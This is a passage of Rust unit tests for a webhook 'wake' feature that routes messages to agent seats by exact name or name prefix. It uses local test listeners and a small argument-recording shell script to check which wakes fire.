assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
assert!(broad_rx.try_recv().is_err(), "a longer prefix lost");
let shown = show("ljosbot-review-def");
assert!(
shown.contains("matches ljosbot-review-") && shown.contains(&review),
"{shown}"
);
let log = std::fs::read_to_string(log_path()).unwrap_or_default();
assert!(
log.contains("ljosbot-review via ljosbot-review- for ljosbot-review-def"),
"{log}"
);
let other = fire(&Event {
seat: "ljosbot-fix-9".into(),
from: "inky".into(),
msg: "m2".into(),
..Event::default()
})
.expect("fire broad");
assert!(
other.starts_with("wake ljosbot via ljosbot- for ljosbot-fix-9: posted, 200"),
"{other}"
);
let posted = broad_rx
.recv_timeout(Duration::from_secs(3))
.expect("broad hook");
assert_eq!(body_of(&posted)["seat"], "ljosbot-fix-9");
let own = fire(&Event {
seat: "ljosbot-review-abc".into(),
from: "inky".into(),
msg: "m3".into(),
..Event::default()
})
.expect("fire exact");
assert!(
own.starts_with("wake ljosbot-review-abc: posted, 200"),
"{own}"
);
let posted = exact_rx
.recv_timeout(Duration::from_secs(3))
.expect("exact hook");
let v = body_of(&posted);
assert_eq!(v["seat"], "ljosbot-review-abc");
assert!(v.get("via").is_none(), "{v}");
assert!(
!posted.to_ascii_lowercase().contains("authorization:"),
"{posted}"
);
let missed = fire(&Event {
seat: "other-1".into(),
..Event::default()
});
let err = format!("{:#}", missed.expect_err("other-1 has no prefix"));
assert!(err.contains("other-1 has no wake set"), "{err}");
}
#[test]
fn clear_names_the_prefix_when_the_seat_has_no_own_wake() {
let (_lock, _dir) = isolated();
set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("set prefix");
let said = clear("ljosbot-review-abc").expect("clear");
assert!(
said.contains("matches ljosbot-review-")
&& said.contains("clear ljosbot-review- to remove it"),
"{said}"
);
}
#[cfg(unix)]
#[test]
fn a_send_starts_the_prefix_wake_for_a_run_seat() {
use std::os::unix::fs::PermissionsExt;
let (_lock, dir) = isolated();
let marker = dir.path().join("spawn.log");
let script = dir.path().join("record-wake");
std::fs::write(
&script,
"#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$WAKE_RECORD\"\n",
)
.expect("script");
std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod");
unsafe {
std::env::set_var("LJOS_WAKE_BIN", &script);
std::env::set_var("WAKE_RECORD", &marker);
}
set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("prefix");
set_webhook("inky", "http://127.0.0.1:9/inky", None, None).expect("exact");
let event = |seat: &str| Event {
seat: seat.to_string(),
from: "inky".into(),
msg: "m1".into(),
issue: Some("Software-d9n6".into()),
interrupt: false,
commit: None,
};
let missed = spawn(&[event("ljosbot-reviewer"), event("ljosbot")]);
assert!(missed.is_empty(), "{missed:?}");
let woken = spawn(&[event("ljosbot-review-abc"), event("inky")]);
assert_eq!(
woken,
vec![
"ljosbot-review via ljosbot-review- for ljosbot-review-abc".to_string(),
"inky".to_string()
]
);
let started = Instant::now();
let wrote = loop {
if let Ok(text) = std::fs::read_to_string(&marker) {
if text.lines().count() >= 2 {
break text;
}
}
assert!(
started.elapsed() < Duration::from_secs(3),
"the wake did not start"
);
std::thread::sleep(Duration::from_millis(20));
};
assert!(wrote.contains("wake ljosbot-review-abc --fire"), "{wrote}");
assert!(wrote.contains("wake inky --fire"), "{wrote}");
assert!(!wrote.contains("ljosbot-reviewer"), "{wrote}");
assert!(!wrote.contains("wake ljosbot --fire"), "{wrote}");
}
}